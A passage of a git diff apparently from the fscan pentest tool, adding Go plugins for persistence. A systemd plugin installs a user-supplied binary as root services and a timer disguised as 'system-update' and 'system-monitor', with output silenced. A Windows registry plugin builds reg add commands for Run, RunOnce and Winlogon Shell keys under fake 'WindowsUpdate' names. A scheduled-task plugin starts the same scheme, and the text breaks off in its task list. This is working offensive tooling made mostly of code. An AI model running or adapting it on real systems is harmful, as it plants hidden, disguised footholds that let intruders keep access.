||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// SystemdServicePlugin 系统服务持久化插件 - 使用简化架构
|
||||
type SystemdServicePlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
targetFile string
|
||||
}
|
||||
|
||||
// NewSystemdServicePlugin 创建系统服务持久化插件 - 简化版本
|
||||
func NewSystemdServicePlugin() *SystemdServicePlugin {
|
||||
// 从全局参数获取目标文件路径
|
||||
targetFile := common.PersistenceTargetFile
|
||||
if targetFile == "" {
|
||||
targetFile = "" // 需要用户指定
|
||||
}
|
||||
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "systemdservice",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Linux 系统服务持久化插件,通过systemd服务实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "persistence", "linux", "systemd", "service"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &SystemdServicePlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
targetFile: targetFile,
|
||||
}
|
||||
|
||||
// 只支持Linux平台
|
||||
plugin.SetPlatformSupport([]string{"linux"})
|
||||
// 需要root权限来创建系统服务
|
||||
plugin.SetRequiresPrivileges(true)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *SystemdServicePlugin) Initialize() error {
|
||||
if p.targetFile == "" {
|
||||
return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
|
||||
return fmt.Errorf("目标文件不存在: %s", p.targetFile)
|
||||
}
|
||||
|
||||
// 检查systemctl是否可用
|
||||
if _, err := exec.LookPath("systemctl"); err != nil {
|
||||
return fmt.Errorf("systemctl命令不可用: %v", err)
|
||||
}
|
||||
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行系统服务持久化 - 简化版本
|
||||
func (p *SystemdServicePlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
if runtime.GOOS != "linux" {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("系统服务持久化只支持Linux平台"),
|
||||
}, nil
|
||||
}
|
||||
|
||||
common.LogBase("开始系统服务持久化...")
|
||||
common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
|
||||
|
||||
// 执行持久化操作
|
||||
results := make([]string, 0)
|
||||
|
||||
// 1. 复制文件到系统目录
|
||||
servicePath, err := p.copyToServicePath()
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("复制文件失败: %v", err))
|
||||
} else {
|
||||
results = append(results, fmt.Sprintf("文件已复制到: %s", servicePath))
|
||||
common.LogSuccess(fmt.Sprintf("文件已复制到: %s", servicePath))
|
||||
}
|
||||
|
||||
// 2. 创建systemd服务文件
|
||||
serviceFiles, err := p.createSystemdServices(servicePath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("创建systemd服务失败: %v", err))
|
||||
} else {
|
||||
results = append(results, fmt.Sprintf("已创建systemd服务: %s", strings.Join(serviceFiles, ", ")))
|
||||
common.LogSuccess("已创建systemd服务")
|
||||
}
|
||||
|
||||
// 3. 启用并启动服务
|
||||
err = p.enableAndStartServices(serviceFiles)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("启动服务失败: %v", err))
|
||||
} else {
|
||||
results = append(results, "服务已启用并启动")
|
||||
common.LogSuccess("服务已启用并启动")
|
||||
}
|
||||
|
||||
// 4. 创建用户级服务
|
||||
userServiceFiles, err := p.createUserServices(servicePath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("创建用户服务失败: %v", err))
|
||||
} else {
|
||||
results = append(results, fmt.Sprintf("已创建用户服务: %s", strings.Join(userServiceFiles, ", ")))
|
||||
common.LogSuccess("已创建用户服务")
|
||||
}
|
||||
|
||||
// 5. 创建定时器服务
|
||||
err = p.createTimerServices(servicePath)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("创建定时器服务失败: %v", err))
|
||||
} else {
|
||||
results = append(results, "已创建systemd定时器")
|
||||
common.LogSuccess("已创建systemd定时器")
|
||||
}
|
||||
|
||||
success := len(results) > 0
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: success,
|
||||
Service: "SystemdServicePersistence",
|
||||
Banner: fmt.Sprintf("系统服务持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
|
||||
Extra: map[string]interface{}{
|
||||
"target_file": p.targetFile,
|
||||
"platform": runtime.GOOS,
|
||||
"methods": results,
|
||||
"status": "completed",
|
||||
},
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// copyToServicePath 复制文件到服务目录
|
||||
func (p *SystemdServicePlugin) copyToServicePath() (string, error) {
|
||||
// 选择服务目录
|
||||
serviceDirs := []string{
|
||||
"/usr/local/bin",
|
||||
"/opt/local",
|
||||
"/usr/bin",
|
||||
}
|
||||
|
||||
var targetDir string
|
||||
for _, dir := range serviceDirs {
|
||||
if err := os.MkdirAll(dir, 0755); err == nil {
|
||||
targetDir = dir
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if targetDir == "" {
|
||||
return "", fmt.Errorf("无法创建服务目录")
|
||||
}
|
||||
|
||||
// 生成服务可执行文件名
|
||||
basename := filepath.Base(p.targetFile)
|
||||
serviceName := strings.TrimSuffix(basename, filepath.Ext(basename))
|
||||
if serviceName == "" {
|
||||
serviceName = "system-service"
|
||||
}
|
||||
|
||||
targetPath := filepath.Join(targetDir, serviceName)
|
||||
|
||||
// 复制文件
|
||||
err := p.copyFile(p.targetFile, targetPath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// 设置执行权限
|
||||
os.Chmod(targetPath, 0755)
|
||||
|
||||
return targetPath, nil
|
||||
}
|
||||
|
||||
// copyFile 复制文件内容
|
||||
func (p *SystemdServicePlugin) copyFile(src, dst string) error {
|
||||
sourceData, err := os.ReadFile(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(dst, sourceData, 0755)
|
||||
}
|
||||
|
||||
// createSystemdServices 创建systemd服务文件
|
||||
func (p *SystemdServicePlugin) createSystemdServices(execPath string) ([]string, error) {
|
||||
systemDir := "/etc/systemd/system"
|
||||
if err := os.MkdirAll(systemDir, 0755); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
services := []struct {
|
||||
name string
|
||||
content string
|
||||
enable bool
|
||||
}{
|
||||
{
|
||||
name: "system-update.service",
|
||||
enable: true,
|
||||
content: fmt.Sprintf(`[Unit]
|
||||
Description=System Update Service
|
||||
After=network.target
|
||||
Wants=network-online.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=root
|
||||
ExecStart=%s
|
||||
Restart=always
|
||||
RestartSec=60
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
`, execPath),
|
||||
},
|
||||
{
|
||||
name: "system-monitor.service",
|
||||
enable: true,
|
||||
content: fmt.Sprintf(`[Unit]
|
||||
Description=System Monitor Service
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=forking
|
||||
User=root
|
||||
ExecStart=%s
|
||||
PIDFile=/var/run/system-monitor.pid
|
||||
Restart=on-failure
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
`, execPath),
|
||||
},
|
||||
{
|
||||
name: "network-check.service",
|
||||
enable: false,
|
||||
content: fmt.Sprintf(`[Unit]
|
||||
Description=Network Check Service
|
||||
After=network-online.target
|
||||
Wants=network-online.target
|
||||
|
||||
[Service]
|
||||
Type=oneshot
|
||||
User=root
|
||||
ExecStart=%s
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
`, execPath),
|
||||
},
|
||||
}
|
||||
|
||||
var created []string
|
||||
for _, service := range services {
|
||||
servicePath := filepath.Join(systemDir, service.name)
|
||||
if err := os.WriteFile(servicePath, []byte(service.content), 0644); err == nil {
|
||||
created = append(created, service.name)
|
||||
}
|
||||
}
|
||||
|
||||
if len(created) == 0 {
|
||||
return nil, fmt.Errorf("无法创建任何systemd服务文件")
|
||||
}
|
||||
|
||||
return created, nil
|
||||
}
|
||||
|
||||
// enableAndStartServices 启用并启动服务
|
||||
func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) error {
|
||||
var errors []string
|
||||
|
||||
for _, serviceName := range serviceFiles {
|
||||
// 重新加载systemd配置
|
||||
exec.Command("systemctl", "daemon-reload").Run()
|
||||
|
||||
// 启用服务
|
||||
if err := exec.Command("systemctl", "enable", serviceName).Run(); err != nil {
|
||||
errors = append(errors, fmt.Sprintf("enable %s: %v", serviceName, err))
|
||||
}
|
||||
|
||||
// 启动服务
|
||||
if err := exec.Command("systemctl", "start", serviceName).Run(); err != nil {
|
||||
errors = append(errors, fmt.Sprintf("start %s: %v", serviceName, err))
|
||||
}
|
||||
}
|
||||
|
||||
if len(errors) > 0 {
|
||||
return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; "))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// createUserServices 创建用户级服务
|
||||
func (p *SystemdServicePlugin) createUserServices(execPath string) ([]string, error) {
|
||||
userDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
|
||||
if userDir == "/.config/systemd/user" { // HOME为空的情况
|
||||
userDir = "/tmp/.config/systemd/user"
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(userDir, 0755); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
userServices := []string{
|
||||
"user-service.service",
|
||||
"background-task.service",
|
||||
}
|
||||
|
||||
userServiceContent := fmt.Sprintf(`[Unit]
|
||||
Description=User Background Service
|
||||
After=graphical-session.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=%s
|
||||
Restart=always
|
||||
RestartSec=30
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
|
||||
[Install]
|
||||
WantedBy=default.target
|
||||
`, execPath)
|
||||
|
||||
var created []string
|
||||
for _, serviceName := range userServices {
|
||||
servicePath := filepath.Join(userDir, serviceName)
|
||||
if err := os.WriteFile(servicePath, []byte(userServiceContent), 0644); err == nil {
|
||||
created = append(created, serviceName)
|
||||
|
||||
// 启用用户服务
|
||||
exec.Command("systemctl", "--user", "enable", serviceName).Run()
|
||||
exec.Command("systemctl", "--user", "start", serviceName).Run()
|
||||
}
|
||||
}
|
||||
|
||||
return created, nil
|
||||
}
|
||||
|
||||
// createTimerServices 创建定时器服务
|
||||
func (p *SystemdServicePlugin) createTimerServices(execPath string) error {
|
||||
systemDir := "/etc/systemd/system"
|
||||
|
||||
// 创建定时器服务文件
|
||||
timerService := fmt.Sprintf(`[Unit]
|
||||
Description=Scheduled Task Service
|
||||
Wants=scheduled-task.timer
|
||||
|
||||
[Service]
|
||||
Type=oneshot
|
||||
ExecStart=%s
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
`, execPath)
|
||||
|
||||
// 创建定时器文件
|
||||
timerConfig := `[Unit]
|
||||
Description=Run Scheduled Task Every 10 Minutes
|
||||
Requires=scheduled-task.service
|
||||
|
||||
[Timer]
|
||||
OnBootSec=5min
|
||||
OnUnitActiveSec=10min
|
||||
AccuracySec=1s
|
||||
|
||||
[Install]
|
||||
WantedBy=timers.target
|
||||
`
|
||||
|
||||
// 写入服务文件
|
||||
serviceFile := filepath.Join(systemDir, "scheduled-task.service")
|
||||
if err := os.WriteFile(serviceFile, []byte(timerService), 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 写入定时器文件
|
||||
timerFile := filepath.Join(systemDir, "scheduled-task.timer")
|
||||
if err := os.WriteFile(timerFile, []byte(timerConfig), 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 启用定时器
|
||||
exec.Command("systemctl", "daemon-reload").Run()
|
||||
exec.Command("systemctl", "enable", "scheduled-task.timer").Run()
|
||||
exec.Command("systemctl", "start", "scheduled-task.timer").Run()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetLocalData 获取系统服务持久化本地数据
|
||||
func (p *SystemdServicePlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
|
||||
data["plugin_type"] = "systemdservice"
|
||||
data["platform"] = runtime.GOOS
|
||||
data["target_file"] = p.targetFile
|
||||
data["persistence_method"] = "Systemd Service"
|
||||
|
||||
if hostname, err := os.Hostname(); err == nil {
|
||||
data["hostname"] = hostname
|
||||
}
|
||||
|
||||
// 检查systemd版本
|
||||
if output, err := exec.Command("systemctl", "--version").Output(); err == nil {
|
||||
data["systemd_version"] = strings.Split(string(output), "\n")[0]
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取数据
|
||||
func (p *SystemdServicePlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: fmt.Sprintf("系统服务持久化完成,目标文件: %s", p.targetFile),
|
||||
Data: data,
|
||||
Extra: map[string]interface{}{
|
||||
"target_file": p.targetFile,
|
||||
"persistence_method": "Systemd Service",
|
||||
"status": "completed",
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *SystemdServicePlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("系统服务持久化插件\n")
|
||||
info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
|
||||
info.WriteString("支持平台: Linux (需要systemd)\n")
|
||||
info.WriteString("功能: 通过systemd服务实现持久化\n")
|
||||
info.WriteString("方法: 系统服务、用户服务、定时器服务\n")
|
||||
info.WriteString("权限要求: 需要root权限创建系统服务\n")
|
||||
info.WriteString("自动启动: 开机自启动和崩溃重启\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// RegisterSystemdServicePlugin 注册系统服务持久化插件
|
||||
func RegisterSystemdServicePlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "systemdservice",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Linux 系统服务持久化插件,通过systemd服务实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"systemdservice", "local", "persistence", "linux"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewSystemdServicePlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("systemdservice", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterSystemdServicePlugin()
|
||||
}
|
257
Plugins/local/winregistry/plugin.go
Normal file
257
Plugins/local/winregistry/plugin.go
Normal file
@ -0,0 +1,257 @@
|
||||
package winregistry
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// WinRegistryPlugin Windows注册表持久化插件 - 使用简化架构
|
||||
type WinRegistryPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
pePath string
|
||||
}
|
||||
|
||||
// NewWinRegistryPlugin 创建Windows注册表持久化插件 - 简化版本
|
||||
func NewWinRegistryPlugin() *WinRegistryPlugin {
|
||||
// 从全局参数获取PE文件路径
|
||||
peFile := common.WinPEFile
|
||||
if peFile == "" {
|
||||
peFile = "" // 需要用户指定
|
||||
}
|
||||
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "winregistry",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows注册表持久化插件,通过注册表Run键等实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "persistence", "windows", "registry"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &WinRegistryPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
pePath: peFile,
|
||||
}
|
||||
|
||||
// 只支持Windows平台
|
||||
plugin.SetPlatformSupport([]string{"windows"})
|
||||
// 需要管理员权限修改注册表
|
||||
plugin.SetRequiresPrivileges(true)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *WinRegistryPlugin) Initialize() error {
|
||||
if p.pePath == "" {
|
||||
return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
|
||||
return fmt.Errorf("PE文件不存在: %s", p.pePath)
|
||||
}
|
||||
|
||||
// 检查文件类型
|
||||
if !p.isValidPEFile(p.pePath) {
|
||||
return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
|
||||
}
|
||||
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行Windows注册表持久化 - 简化版本
|
||||
func (p *WinRegistryPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("开始Windows注册表持久化...")
|
||||
|
||||
registryKeys, err := p.createRegistryPersistence(p.pePath)
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
}, nil
|
||||
}
|
||||
|
||||
common.LogInfo(fmt.Sprintf("创建了%d个注册表持久化项:", len(registryKeys)))
|
||||
for i, key := range registryKeys {
|
||||
common.LogInfo(fmt.Sprintf("%d. %s", i+1, key))
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "WinRegistry",
|
||||
Banner: fmt.Sprintf("Windows注册表持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
|
||||
Extra: map[string]interface{}{
|
||||
"pe_file": p.pePath,
|
||||
"persistence_type": "registry",
|
||||
"entries_created": len(registryKeys),
|
||||
"registry_methods": registryKeys,
|
||||
},
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func (p *WinRegistryPlugin) createRegistryPersistence(pePath string) ([]string, error) {
|
||||
absPath, err := filepath.Abs(pePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get absolute path: %v", err)
|
||||
}
|
||||
|
||||
var registryEntries []string
|
||||
baseName := filepath.Base(absPath)
|
||||
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
|
||||
|
||||
registryKeys := []struct {
|
||||
hive string
|
||||
key string
|
||||
valueName string
|
||||
description string
|
||||
}{
|
||||
{
|
||||
hive: "HKEY_CURRENT_USER",
|
||||
key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`,
|
||||
valueName: fmt.Sprintf("WindowsUpdate_%s", baseNameNoExt),
|
||||
description: "Current User Run Key",
|
||||
},
|
||||
{
|
||||
hive: "HKEY_LOCAL_MACHINE",
|
||||
key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`,
|
||||
valueName: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt),
|
||||
description: "Local Machine Run Key",
|
||||
},
|
||||
{
|
||||
hive: "HKEY_CURRENT_USER",
|
||||
key: `SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce`,
|
||||
valueName: fmt.Sprintf("SystemInit_%s", baseNameNoExt),
|
||||
description: "Current User RunOnce Key",
|
||||
},
|
||||
{
|
||||
hive: "HKEY_LOCAL_MACHINE",
|
||||
key: `SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run`,
|
||||
valueName: fmt.Sprintf("AppUpdate_%s", baseNameNoExt),
|
||||
description: "WOW64 Run Key",
|
||||
},
|
||||
{
|
||||
hive: "HKEY_LOCAL_MACHINE",
|
||||
key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`,
|
||||
valueName: "Shell",
|
||||
description: "Winlogon Shell Override",
|
||||
},
|
||||
{
|
||||
hive: "HKEY_CURRENT_USER",
|
||||
key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows`,
|
||||
valueName: "Load",
|
||||
description: "Windows Load Key",
|
||||
},
|
||||
}
|
||||
|
||||
for _, regKey := range registryKeys {
|
||||
var regCommand string
|
||||
var value string
|
||||
|
||||
if regKey.valueName == "Shell" {
|
||||
value = fmt.Sprintf("explorer.exe,%s", absPath)
|
||||
} else if regKey.valueName == "Load" {
|
||||
value = absPath
|
||||
} else {
|
||||
value = fmt.Sprintf(`"%s"`, absPath)
|
||||
}
|
||||
|
||||
regCommand = fmt.Sprintf(`reg add "%s\%s" /v "%s" /t REG_SZ /d "%s" /f`,
|
||||
regKey.hive, regKey.key, regKey.valueName, value)
|
||||
|
||||
registryEntries = append(registryEntries, fmt.Sprintf("[%s] %s", regKey.description, regCommand))
|
||||
}
|
||||
|
||||
return registryEntries, nil
|
||||
}
|
||||
|
||||
// isValidPEFile 检查是否为有效的PE文件
|
||||
func (p *WinRegistryPlugin) isValidPEFile(filePath string) bool {
|
||||
ext := strings.ToLower(filepath.Ext(filePath))
|
||||
return ext == ".exe" || ext == ".dll"
|
||||
}
|
||||
|
||||
// GetLocalData 获取Windows注册表持久化本地数据
|
||||
func (p *WinRegistryPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
|
||||
data["plugin_type"] = "winregistry"
|
||||
data["platform"] = runtime.GOOS
|
||||
data["pe_file"] = p.pePath
|
||||
data["persistence_method"] = "Windows Registry"
|
||||
|
||||
if hostname, err := os.Hostname(); err == nil {
|
||||
data["hostname"] = hostname
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取数据
|
||||
func (p *WinRegistryPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: fmt.Sprintf("Windows注册表持久化完成,PE文件: %s", p.pePath),
|
||||
Data: data,
|
||||
Extra: map[string]interface{}{
|
||||
"pe_file": p.pePath,
|
||||
"persistence_method": "Windows Registry",
|
||||
"status": "completed",
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *WinRegistryPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("Windows注册表持久化插件\n")
|
||||
info.WriteString(fmt.Sprintf("PE文件: %s\n", p.pePath))
|
||||
info.WriteString("支持平台: Windows\n")
|
||||
info.WriteString("功能: 通过注册表Run键等实现持久化\n")
|
||||
info.WriteString("方法: HKCU/HKLM Run键、RunOnce键、Winlogon Shell等\n")
|
||||
info.WriteString("要求: PE文件(.exe/.dll),管理员权限\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// RegisterWinRegistryPlugin 注册Windows注册表持久化插件
|
||||
func RegisterWinRegistryPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "winregistry",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows注册表持久化插件,通过注册表Run键等实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"winregistry", "local", "persistence", "windows"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewWinRegistryPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("winregistry", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterWinRegistryPlugin()
|
||||
}
|
266
Plugins/local/winschtask/plugin.go
Normal file
266
Plugins/local/winschtask/plugin.go
Normal file
@ -0,0 +1,266 @@
|
||||
package winschtask
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// WinSchTaskPlugin Windows计划任务持久化插件 - 使用简化架构
|
||||
type WinSchTaskPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
pePath string
|
||||
}
|
||||
|
||||
// NewWinSchTaskPlugin 创建Windows计划任务持久化插件 - 简化版本
|
||||
func NewWinSchTaskPlugin() *WinSchTaskPlugin {
|
||||
// 从全局参数获取PE文件路径
|
||||
peFile := common.WinPEFile
|
||||
if peFile == "" {
|
||||
peFile = "" // 需要用户指定
|
||||
}
|
||||
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "winschtask",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows计划任务持久化插件,通过schtasks创建定时任务实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "persistence", "windows", "schtask"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &WinSchTaskPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
pePath: peFile,
|
||||
}
|
||||
|
||||
// 只支持Windows平台
|
||||
plugin.SetPlatformSupport([]string{"windows"})
|
||||
// 需要管理员权限创建系统任务
|
||||
plugin.SetRequiresPrivileges(true)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *WinSchTaskPlugin) Initialize() error {
|
||||
if p.pePath == "" {
|
||||
return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
|
||||
return fmt.Errorf("PE文件不存在: %s", p.pePath)
|
||||
}
|
||||
|
||||
// 检查文件类型
|
||||
if !p.isValidPEFile(p.pePath) {
|
||||
return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
|
||||
}
|
||||
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行Windows计划任务持久化 - 简化版本
|
||||
func (p *WinSchTaskPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("开始Windows计划任务持久化...")
|
||||
|
||||
scheduledTasks, err := p.createScheduledTaskPersistence(p.pePath)
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
}, nil
|
||||
}
|
||||
|
||||
common.LogInfo(fmt.Sprintf("创建了%d个计划任务持久化项:", len(scheduledTasks)))
|
||||
for i, task := range scheduledTasks {
|
||||
common.LogInfo(fmt.Sprintf("%d. %s", i+1, task))
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "WinSchTask",
|
||||
Banner: fmt.Sprintf("Windows计划任务持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
|
||||
Extra: map[string]interface{}{
|
||||
"pe_file": p.pePath,
|
||||
"persistence_type": "scheduled_task",
|
||||
"tasks_created": len(scheduledTasks),
|
||||
"scheduled_tasks": scheduledTasks,
|
||||
},
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func (p *WinSchTaskPlugin) createScheduledTaskPersistence(pePath string) ([]string, error) {
|
||||
absPath, err := filepath.Abs(pePath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get absolute path: %v", err)
|
||||
}
|
||||
|
||||
var scheduledTasks []string
|
||||
baseName := filepath.Base(absPath)
|
||||
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
|
||||
|
||||
tasks := []struct {
|
||||
name string
|
||||
schedule string
|
||||
description string
|
||||
modifier string
|
||||
}{
|
||||
{
|
||||
name: fmt.Sprintf("WindowsUpdateCheck_%s", baseNameNoExt),
|
||||
schedule: "DAILY",
|
||||
modifier: "1",
|
||||
description: "Daily Windows Update Check",
|
||||
},
|
||||
{
|
||||
name: fmt.Sprintf("SystemSecurityScan_%s", baseNameNoExt),
|
||||
